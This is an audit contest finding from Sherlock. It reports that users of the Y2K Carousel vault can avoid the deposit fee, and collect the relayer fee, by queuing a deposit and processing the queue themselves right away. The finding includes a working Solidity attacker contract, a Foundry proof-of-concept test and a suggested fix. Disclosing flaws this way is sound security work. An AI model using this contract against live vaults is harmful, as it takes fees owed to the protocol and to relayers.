0xRobocop - Users can avoid paying any type of fee when depositing

[sherlock-admin]

0xRobocop

medium

Users can avoid paying any type of fee when depositing

Summary

When depositing to the premium or collateral vault, there exists 2 ways, by depositing directly or by joining the depositQueue.

When depositing directly, the user pays a depositFee which increases linearly from the epochCreation and the epochBegin, this is because the users who deposit later than others have an informational advantage, so they pay a higher fee.

The other way is by using the depositQueue, here the users join the queue and wait for someone to call mintDepositQueue which processes each entry of the depositQueue in FILO order, and taking a relayerFee (which is deducted from the deposits of each entry) for each entry processed.

The problem is that users can avoid paying the depositFee and the relayerFee by joining the depositQueue and exactly after that calling mintDepositQueue with one operation.

Vulnerability Detail

The only requirements for executing mintDepositInQueue is that the epochId exists and that have not started (block.timestamp < epochBegin). Those are the exact requirements for depositing directly (by not setting _id to zero). So, a user can avoid paying the depositFee by joining the depositQueue and because this queue is processed in FILO order, he can call mintDepositInQueue right away and also receive the relayerFee of his entry.

Impact

This breaks protocol assumptions about depositFee being a protection for informational advantage since users can avoid paying it, even close to the epochBegin, and they don't even need to pay for the relayerFee.

Exploiting this advantage is easier by using a contract, I created the following contract, it is simplified to only show this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface Carousel2 {
  function deposit(uint256 id, uint256 assets, address receiver) external;
  function mintDepositInQueue(uint256 epochId, uint256 operations) external;
}

interface ERC202 {
  function balanceOf(address account) external returns(uint256);
  function approve(address spender, uint256 amount) external returns(bool);
}

contract AvoidFees {

  Carousel2 public collateralVault;
  Carousel2 public premiumVault;

  ERC202 public underlyingAsset;

  constructor(address _collateralVault, address _premiumVault, address _underlyingAsset) {
    collateralVault = Carousel2(_collateralVault);
    premiumVault = Carousel2(_premiumVault);

    underlyingAsset = ERC202(_underlyingAsset);
  }

  function avoidPayingFees(uint256 epochId) external {
    uint256 balance = underlyingAsset.balanceOf(address(this));
    
    underlyingAsset.approve(address(premiumVault), balance);

    callDepositPremium();
    callMintDepositInQueueForPremiumVault(epochId);
  }

  function callDepositPremium() internal {
    premiumVault.deposit(0, underlyingAsset.balanceOf(address(this)), address(this));
  }

  function callMintDepositInQueueForPremiumVault(uint256 epochId) internal {
    premiumVault.mintDepositInQueue(epochId, 1);
  }

  function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}

Then I created a test on the EndToEndCaraouselTest.t.sol file.

1. Import the attacker contract: import "../../../src/attacker/AvoidFees.sol";
2. Add to the state variables AvoidFees public avoidFeesContract;
3. Add at the end of the setUp() function:

avoidFeesContract = new AvoidFees(
            collateral,
            premium,
            UNDERLYING
        );

deal(UNDERLYING, address(avoidFeesContract), 500 ether, true);

4. Add the following function test:

function testAvoidPayingFees() public {
//warp to deposit period
vm.warp(begin - 1 days);
// Assert the balance of the attacker contract
assertEq(500 ether, IERC20(UNDERLYING).balanceOf(address(avoidFeesContract)));

// Succesfully avoid paying `depositFee` and `relayerFee`
avoidFeesContract.avoidPayingFees(epochId);

// The contracts gets reimbursed the relayerFee since it executed the deposit queue
assertEq(2 gwei, IERC20(UNDERLYING).balanceOf(address(avoidFeesContract)));

uint256 expectedBalance = 500 ether - 2 gwei;

assertEq(Carousel(premium).balanceOf(address(avoidFeesContract), epochId), expectedBalance);
}

5. Run forge test --match-contract EndToEndCarouselTest --match-test testAvoidPayingFees

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L494

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L310

Tool used

Manual Review

Recommendation

Since this vulnerability is more on the side of the design rather than the implementation, is better to re-think the dynamics of the protocol.

One possible fix is to charge the depositFee also for the entries on the depositQueue plus the relayerFee.

Duplicate of #75